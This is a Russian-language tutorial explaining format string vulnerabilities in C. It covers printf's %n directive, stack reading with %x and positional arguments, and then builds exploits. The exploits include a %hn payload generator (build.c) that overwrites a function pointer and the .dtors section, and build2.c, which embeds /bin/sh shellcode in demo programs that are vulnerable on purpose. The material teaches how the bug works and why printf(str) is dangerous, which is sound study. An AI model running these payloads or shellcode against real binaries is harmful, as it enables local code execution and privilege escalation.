эта страница доступна на следующих языках: English Deutsch Francais Nederlands Portugues Russian Turkce |
автор Frйdйric Raynal, Christophe Blaess, Christophe Grenier Об авторе: Christophe Blaess - независимый инженер по аэронавтике. Он почитатель Linux и делает большую часть своей работы на этой системе. Заведует координацией переводов man страниц, публикуемых Linux Documentation Project. Christophe Grenier - студент 5 курса в ESIEA, где он также работает сисадмином. Страстно увлекается компьютерной безопасностью. Frйdйric Raynal много лет использует Linux, потому что он не загрязняет окружающую среду, не использует ни гармоны ни MSG ни побочные продукты жизнедеятельности животных ... только тяжелый труд и хитрости. Содержание:
|
Резюме:
С некоторого времени, сообщения, извещающие об эксплоитах, основанных на строках форматирования, начали становиться все более многочисленными. В этой статье объясняется откуда исходит опасность, а также мы покажем, что попытка сохранить 6 байт достаточна, чтобы нарушить безопасность программы.
Большинство недостатков в безопасности происходят из-за неправильной конфигурации или лени. Это правило справедливо для строк форматирования.
Часто необходимо в программе использовать строки, оканчивающиеся нулевым байтом .
Где в программе - для нас не важно. Рассматриваемая уязвимость опять позволяет производить
запись прямо в память. Данные для атаки могут поступать с
stdin (стандартный ввод)
, файлов и т.д. Достаточно одной инструкции:
printf("%s", str);
Однако программист может решить сохранить время и шесть байт, написав только:
printf(str);
С "экономией" на уме, этот программист открывает потенциальную дыру в своей работе.
Он удовлетворился передачей в качестве аргумента одной строки, которую он
хотел просто отобразить без изменений. Однако эта строка будет разбираться для поиска
директив форматирования (%d
, %g
...). Если подобный символ
форматирования найден, соответствующий ему аргумент ищется в стеке.
Мы начнем с введения в семейство функций printf()
. Мы ожидаем, как
минимум, что каждый знает их... но не во всех подробностях, поэтому мы поговорим
о наименее известных сторонах этих подпрограмм. Затем мы увидим, как получить необходимую
информацию, чтобы воспользоваться типичной ошибкой. И в конце, мы покажем, как
это все собирается в один пример.
printf()
: они меня обманывали!Давайте начнем с того, чему нас всех учили в руководствах по программированию: большинство функций ввода/вывода в Си используют форматирование данных - это значит, что надо не только предоставлять данные для чтения/записи, но также и информацию как они будут отображены. Следующая программа показывает это:
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Выполняя ее мы получаем :
>>gcc display.c -o display >>./display int : 64 97 char : @ aПервый
printf()
выводит значение целой переменной i
и
символьной переменной a
, как значение типа int
(это делается
при помощи %d
) - это приводит к выводу ASCII-значения этого символа.
С другой стороны, второй printf()
переводит целое значение i
в
соответствующий код символа ASCII, а именно - 64.
Ничего нового - все одинаково для многих функций, прототипы которых похожи
на функцию printf()
:
const char
*format
), которая используется для указания выбранного формата;
Большинство уроков по программированию останавливаются на этом, предоставляя
неполный список возможных форматов (%g
, %h
, %x
,
использование символа точки .
для указания точности...).
Однако, есть еще один, о котором никогда не упоминают: %n
.
Вот что говорит страница man по printf()
об этом:
Число символов, выведенных до этого момента, сохраняется по
адресу целого числа, указанному аргументом-указателем типа int * (или variant).
Преобразование аргументов не происходит.
|
Здесь - самая важная вещь в этой статье: данный аргумент позволяет производить запись в переменную указатель, даже если она используется в функции для вывода!
Перед тем как продолжить, заметим, что данный формат также присутствует в функциях
семейств scanf()
и syslog()
.
Мы начинаем изучение использования и поведения данного формата при помощи маленьких
программ. Первая, printf1
, демонстрирует очень простое использование:
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
Первый вызов printf()
выводит строку
"0123456789
", которая содержит 10 символов. Следующий формат
%n
записывает данное значение в переменную
n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10Давайте немного изменим нашу программу заменяя инструкцию
printf()
строки 7 на:
7: printf("buf=%s%n\n", buf, &n);
Запуск новой программы подтверждает нашу идею: переменная n
сейчас равна 14 (10 символов из строковой переменной buf
добавляются
к 4 символам строки-константы "buf=
", содержащейся в самой строке
форматирования).
Итак, мы знаем, что формат %n
подсчитывает каждый символ, который
появляется в строке форматирования. Более того, как мы продемонстрируем программой
printf2
, он подсчитывает еще кое-что:
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }Мы используем здесь функцию
snprintf()
, чтобы не допустить
переполнение буфера. Переменная n
должна быть равна 10:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Странно? Фактически, формат
%n
учитывает количество
символов, которые должны быть выведены.
Этот пример показывает, что обрезание из-за указания размера буфера игнорируется.
Что происходит на самом деле? Строка форматирования полностью расширяется перед тем, как она урезается и затем копируется в буфер назначения:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
printf3
немного отличается от
printf2
:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)В первых двух строках нет ничего удивительного. Последняя показывает нам поведение функции
printf()
:
00000\0
";
x
в нашем примере. Строка теперь выглядит
"01234\0
";
sizeof buf - 1
байт2
из этой строки копируется в строку назначения buf
, что дает нам
"0123\0
"GlibC
, конкретно к vfprintf()
в директории
${GLIBC_HOME}/stdio-common
.
Перед тем как закончить эту часть, добавим, что возможно получить тот же результат
записывая строку форматирования немного в другой форме. Мы использовали
формат, называемый точность (точка '.'). Другая комбинация инструкций форматирования
приводит к тому же результату: 0n
, где
n
- обозначает ширину, а 0
обозначает, что
лишние позиции будут заполнены 0, если вся ширина не будет заполнена.
Теперь, когда вы знаете почти все о строках форматирования, а более конкретно
о формате %n
, мы изучим их поведение.
printf()
Следующая программа будет нашим проводником на протяжении этого раздела и
поможет нам понять взаимосвязь стека и printf()
:
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Данная программа просто копирует аргумент в символьный массив
buffer
.
Мы заботимся о том, чтобы не допустить переполнения некоторых важных данных (атака при помощи
строк форматирования более аккуратная чем переполнения буфера ;-)
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Она работает так как мы и ожидали :) Перед тем как продолжить, посмотрим, что происходит с точки зрения стека при вызове
snprintf()
в строке 8.
Рис. 1 : стек в начале выполнения
snprintf() |
Рисунок 1
изображает состояние стека в момент, когда программа заходит в функцию
snprintf()
(мы увидим, что это не так ... однако нам это нужно всего
лишь за тем, чтобы дать вам представление, что происходит). Нам не интересен регистр
%esp
. Он где-то ниже регистра %ebp
.
Как мы видели в предыдущей статье, первые два значения, расположенные в
%ebp
и %ebp+4
содержат соответствующие резервные копии
регистров %ebp
и %eip
. Далее идут аргументы функции
snprintf()
:
argv[1]
, которая также выполняет функцию
данных.
tmp
, 64 байтами
переменной buffer
и целой переменной i
.
Строка argv[1]
используется одновременно и как строка форматирования
и как данные. Согласно обычному порядку подпрограммы snprintf()
,
argv[1]
выступает взамен строки форматирования. Так как вы можете
использовать строку форматирования без директив формата (просто текст), все нормально
:)
Что получается, если argv[1]
также содержит и директивы форматирования?
Обычно, snprintf()
интерпретирует их так, какие они есть ... и нет причины,
почему она будет вести себя по другому!
Но здесь, вы можете удивиться, какие аргументы будут использованы в качестве данных для
форматирования выходной строки? Фактически, snprintf()
забирает данные из
стека! Вы можете увидеть это при помощи нашей программы
stack
:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Сначала, строка "123
" копируется в buffer
. Директива
%x
требует snprintf()
перевести первое значение в
шеснадцатиричный вид. Из рисунка 1 видно,
что этот первый аргумент не что иное, как переменная tmp
, которая содержит
строку \x01\x02\x03\x00
. Она отображается как шеснадцатиричное число
0x00030201 в соответствии с прямым порядоком байтов, который принят в процессорах x86.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Добавление второго %x
дает возможность поднятся выше по стеку.
Директива говорит snprintf()
искать следующие 4 байта после
переменной tmp
. Эти 4 байта - фактически 4 первых байта buffer
.
Однако, buffer
содержит строку "123
", что мы можем увидеть, как
шеснадцатиричное число 0x20333231 (0x20=пробел, 0x31='1'...).
То есть, для каждого %x
, snprintf()
"прыгает" на 4 байта
дальше в buffer
(4 потому что unsigned int
занимает
4 байта на процессоре x86). Эта переменная выступает как двойной агент, так как:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Вы можете обнаружить порой полезный формат в случае, когда необходимо поменять
местами параметры (например, при выводе даты и времени). Мы добавляем
формат m$
, сразу после %
, где m
-
целое > 0. Он задает позицию переменной в списке аргументов (начиная с 1), которую необходимо использовать:
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
Формат, использующий m$
, дает нам возможность подниматься по стеку
на столько, на сколько мы хотим, так же как мы можем это делать,
используя gdb
:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Символ \
необходим здесь, для защиты $
, чтобы
оболочка не интерпретировала его по-своему.
В первые три вызова мы увидели содержимое переменной buf
.
С помощью %4\$x
мы получили сохраненный регистр %ebp
,
а затем при помощи %5\$x
- сохраненный регистр %eip
(известный
как адрес возврата). Последние 2 результата, представленные здесь, показывают
значение переменной argc
и адрес, содержащийся в *argv
(помните, что **argv
- означает, что *argv
- массив адресов).
Данный пример показывает, что предоставленный формат позволяет нам идти вверх
по стеку в поисках информации, такой как возвращаемое значение функции, адрес...
Однако, мы видели в начале этой статьи, что мы можем производить запись при помощи
функций, типа printf()
: разве это не выглядит как прекрасная потенциальная
уязвимость?
Вернемся к программе stack
:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [dця⌡000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Мы задали в качестве строки ввода:
i
;
%.496x
);
%n
), которая произведет
запись по данному адресу.
i
(здесь 0xbffff664
),
мы можем запустить программу дважды и соответственно поменять командную строку.
Как вы заметили, i
имеет новое значение :)
Данная строка форматирования и организация стека делают вызов snprintf()
подобным на:
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, 4 first bytes in buffer);
Первые четыре байта (содержащие адрес i
) записываются в начало
buffer
. Формат %.496x
позволяет нам избавится от переменной
tmp
, которая расположена в начале стека. Затем, когда доходит дело до
инструкции %n
, адрес, который она использует, - есть адрес переменной i
,
расположенный в начале buffer
.
Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к.
длина буфера - 64 и 4 байта уже записано).
Значение 496 - произвольное, оно используется только чтобы изменить
"счетчик байтов". Мы видели, что формат %n
сохраняет количество
байт, которое должно будет записано. Это значение равно 496, к которому мы
добавляем 4 из-за 4 байт адреса i
в начале buffer
.
Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный
в стеке, который является адресом i
.
Мы можем пойти дальше в развитии данного примера. Чтобы изменить i
,
нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Как вы можете видеть, в зависимости от аргумента, мы можем менять
cpt1
или cpt2
. Формату %n
нужен
адрес, вот почему мы не можем напрямую работать с переменными (например
используя %3$n (cpt2)
или %4$n (cpt1)
), однако
можем это делать через указатели. Последнее - "полуфабрикат" с огромными
возможностями для модификации.
egcs-2.91.66
и glibc-2.1.3-22
.
Однако, вы возможно не получите те же результаты в вашей системе. Конечно же,
функции типа *printf()
изменяются в соответствии с версией glibc
и компиляторы разных версий вовсе не выполняют те же самые инструкции.
Программа stuff
подчеркивает эти различия:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Массивы aaa
и bbb
используются как разделители при нашем
путешествии по стеку. Поэтому мы знаем, что когда встретим 424242
,
следующими байтами будет buffer
. Таблица
1
показывает различия в зависимости от версий glibc и компилятора.
Таблица 1 : Вариации по отношению к glibc | ||
---|---|---|
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Далее в этой статье мы продолжим использовать egcs-2.91.66
и
glibc-2.1.3-22
, но не удивляйтесь, если заметите отличие
на своей машине.
Когда мы реализовывали переполнение буфера для атаки, мы использовали буфер для перезаписи адреса возврата функции.
Со строками форматирования, как мы видели, мы можем зайти куда угодно
(стек, куча, bss, .dtors, ...), нам надо только сказать куда и что записать, и
%n
сделает работу за нас.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
Мы определяем переменную с именем ptrf
, которая указывает на функцию.
Мы изменим значение этого указателя, чтобы запустить выбраную нами функцию.
Во-первых, нам надо узнать смещение между началом уязвимого буфера и нашим текущим положением в стеке:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Первый вызов здесь дает нам то, что надо: 3 слова (одно слово = 4 байтам
для процессоров x86) отделяют нас от начала переменной buffer
.
Второй вызов с аргументом AAAA%3\$x
подтверждает это.
Наша цель теперь - заменить первоначальное значение указателя ptrf
(0x8048634
, адрес функции helloWorld()
) значением
0x8048654
(адрес accessForbidden()
).
Нам надо записать 0x8048654
байт (134514260 байт в десятеричном, что-то около 128Мб).
Не каждый компьтер может позволить такое использование памяти ... однако тот, который мы используем - может :)
Это длится около 20 секунд на двухпроцессорном
pentium 350 МГц:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Фхя⌡000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Что мы сделали? Мы просто предоставили адрес ptrf (0xbffff5d4)
.
Следующий формат считывает слово из стека с точностью 134514256 (мы уже записали
4 байта - адрес ptrf
, поэтому нам еще остается записать 134514260-4=134514256
байт).
И в конце, мы записываем нужное значение по данному адресу
(%3$n
).
Однако, как мы упоминали, не всегда возможно использовать буферы размером 128Мб.
Формат %n
ожидает указатель на целое, т.е. четыре байта.
Возможно поменять такое поведение, сделав указатель на short
int
- только 2 байта - благодаря инструкции %hn
.
Из-за этого мы разрежем целое, которое хотим записать, на две части.
Наибольший записываемый размер поэтому уменьшится до 0xffff
байт (65535 байт).
Поэтому в предыдущем примере мы изменим операцию записи "0x8048654
по адресу
0xbffff5d4
" на две следующих операции:
0x8654
по адресу 0xbffff5d4
0x0804
по адресу 0xbffff5d4+2=0xbffff5d6
Однако, %n
(или %hn
) подсчитывает полное число
записанных символов в строку. Это число может только увеличиваться. Сначала,
мы должны записать меньшее значение из двух. Затем, второе форматирование
будет использовать только разность между требуемым числом и первым, записанную как точность.
Например в нашем примере первая операция форматирования будет %.2052x
(2052 = 0x0804),
а вторая %.32336x
(32336 = 0x8654 - 0x0804).
Каждая %hn
, поставленная в нужном порядке, запишет нужное количество байт.
Нам осталось только указать обоим %hn
, куда записывать.
Оператор m$
очень нам в этом поможет. Если мы сохраним адреса
в начале уязвимого буфера, то нам надо будет только пойти вверх по стеку и
найти смещение от начала буфера, используя формат m$
. Затем оба
адреса будут по смещениям m
и m+1
. Так как мы используем
8 байт буфера для сохранения адреса перезаписи, то первое записываемое значение должно быть
уменьшено на 8.
Наша строка форматирования выглядит следующим образом:
"[адрес][адрес+2]%.[мин. знач. - 8]x%[смещ.]$hn%.[макс. знач. - мин.
знач.]x%[смещ.+1]$hn"
Программа build
использует три аргумента, для создания строки
форматирования:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** 4 байта, куда мы должны записать, расположены следующим способом: HH HH LL LL Переменные, заканчивающиеся "*h", относятся к старшей части слова (H). Переменные, заканчивающиеся "*l", относятся к младшей части слова (L). */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* лениво вычислять настоящую длину ... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* разделение значения */ valh = (value >> 16) & 0xffff; //старшая часть vall = value & 0xffff; //младшая fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* выделение буфера */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* строим */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* верхний адрес */ "%c%c%c%c" /* нижний адрес */ "%%.%hdx" /* установим значение для первого %hn */ "%%%d$hn" /* %hn для верхней части */ "%%.%hdx" /* установим значение для второго %hn */ "%%%d$hn" /* %hn для нижней части */ , b3+2, b2, b1, b0, /* верхний адрес */ b3, b2, b1, b0, /* нижний адрес */ valh-8, /* установим значение для первого %hn */ where, /* %hn для верхней части */ vall-valh, /* установим значение для второго %hn */ where+1 /* %hn для нижней части */ ); } else { snprintf(buf, length, "%c%c%c%c" /* верхний адрес */ "%c%c%c%c" /* нижний адрес */ "%%.%hdx" /* установим значение для первого %hn */ "%%%d$hn" /* %hn для верхней части */ "%%.%hdx" /* установим значение для второго %hn */ "%%%d$hn" /* %hn для нижней части */ , b3+2, b2, b1, b0, /* верхний адрес */ b3, b2, b1, b0, /* нижний адрес */ vall-8, /* установим значение для первого %hn */ where+1, /* %hn для верхней части */ valh-vall, /* установим значение для второго %hn */ where /* %hn для нижней части */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* адрес */ strtoul(argv[2], NULL, 16), /* значение */ atoi(argv[3])); /* смещение */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Позиция аргументов зависит от того, первое записываемое значение находится в старшей или младшей части слова. Посмотрим что мы получим теперь без всяких проблем с памятью.
Во-первых, наш простой пример позволяет угадать смещение:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Оно всегда одно и то же: 3. Так как наша программа поясняет, что происходит,
мы сразу имеем оставшуюся необходимую информацию: адреса ptrf
и accesForbidden()
. Мы строим наш буфер в соответствии с этим:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Цхя⌡Фхя⌡%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Цхя⌡Фхя⌡00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Ничего не произошло! На самом деле, так как мы использовали буфер длиннее, чем в предыдущем примере в строке форматирования, стек сдвинулся.
ptrf
переместилась
из 0xbffff5d4
в 0xbffff5b4
. Необходимо подкорректировать
наши значения:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [хя⌡?хя⌡%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [хя⌡?хя⌡0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Мы выиграли!!!
Мы видели, что ошибки в формате позволяют нам производить запись куда угодно.
Итак, мы увидим сейчас использование этой дыры, основанное на секции .dtors
.
Если программа скомпилирована при помощи gcc
, вы можете найти в ней
секцию конструктора (называемую .ctors
) и деструктора (называемую
.dtors
). Каждая из этих секций содержит указатели на функции для выполнения
перед входом в функцию main()
и после выхода из нее соответственно.
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }Наша маленькая программа показывает этот механизм:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Каждая из этих секций построена одинаково:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Мы проверяем, что указанные адреса соответствуют нашим функциям (внимание: предыдущая команда
objdump
выдала адреса в прямом порядке байтов):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endИтак, эти секции содержат адреса функций для выполнения в начале (или в конце), находящиеся между
0xffffffff
и 0x00000000
.
Давайте применим это к vuln
с использованием строки формата.
Сначала, мы должны получить расположение в памяти этих секций, что по-настоящему
просто, если у вас под рукой есть двоичный код программы ;-)
Просто используем objdump
, как делали ранее:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Вот оно! Теперь мы имеем все, что нам надо.
Цель эксплоита - заменить адрес функции в одной из этих секций на адрес функции,
которую хотим выполнить.
Если эти секции пустые, мы просто должны перезаписать 0x00000000
, который
указывает на конец секции. Это вызовет нарушение сегментации (segmentation fault)
,
так как программа не найдет 0x00000000
и возмет следующее значение, как адрес
функции, что, вероятно, неверно.
Фактически, единственная интересующая нас секция - секция деструктора
(.dtors
): у нас нет времени делать что-либо перед секцией конструктора
(.ctors
).
Обычно достаточно перезаписать адрес, расположенный на 4 байта дальше от начала секции
(0xffffffff
):
0x00000000
;
Вернемся к нашему примеру. Мы заменяем 0x00000000
в секции
.dtors
, расположенный по адресу 0x8049848=0x8049844+4
,
на адрес функции accesForbidden()
, уже известный
(0x8048664
):
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Все проходит отлично,
main()
helloWorld()
и затем выход.
Потом вызывается деструктор. Секция .dtors
начинается с адреса
accesForbidden()
. Затем, так как нет другого действительного адреса,
происходит ожидаемый дамп памяти.
Мы видели здесь простые эксплоиты. Используя тот же принцип, мы можем
получить оболочку, передавая шеллкод или через argv[]
или
переменную окружения уязвимой программе.
Мы просто должны установить правильный адрес (т.е. адрес вызова оболочки)
в секции .dtors
.
В данный момент мы знаем:
Однако, в реальной жизни, уязвимая программа не настолько хороша, как в примере. Мы представим метод, который позволяет нам поместить шеллкод в память и находить его точный адрес (это значит: больше не нужны NOP-ы в начале шеллкода).
Идея основана на рекурсивных вызовах функции
exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }Входные данные - целое
nb
, программа будет рекурсивно вызывать себя
nb+1
раз:
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Мы сразу же замечаем, что адреса, выделяемые для arg
и
argv
, больше не двигаются после второго вызова. Мы будем использовать
это свойство в нашем эксплоите. Мы просто должны немного изменить нашу программу
build
, чтобы она вызывала себя перед вызовом vuln
.
Так мы получаем точный адрес argv
и нашего шеллкода:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Та же функция, что и в build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* адрес */ &shellcode, atoi(argv[2])); /* смещение */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* адрес */ argv[2], atoi(argv[4])); /* смещение */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
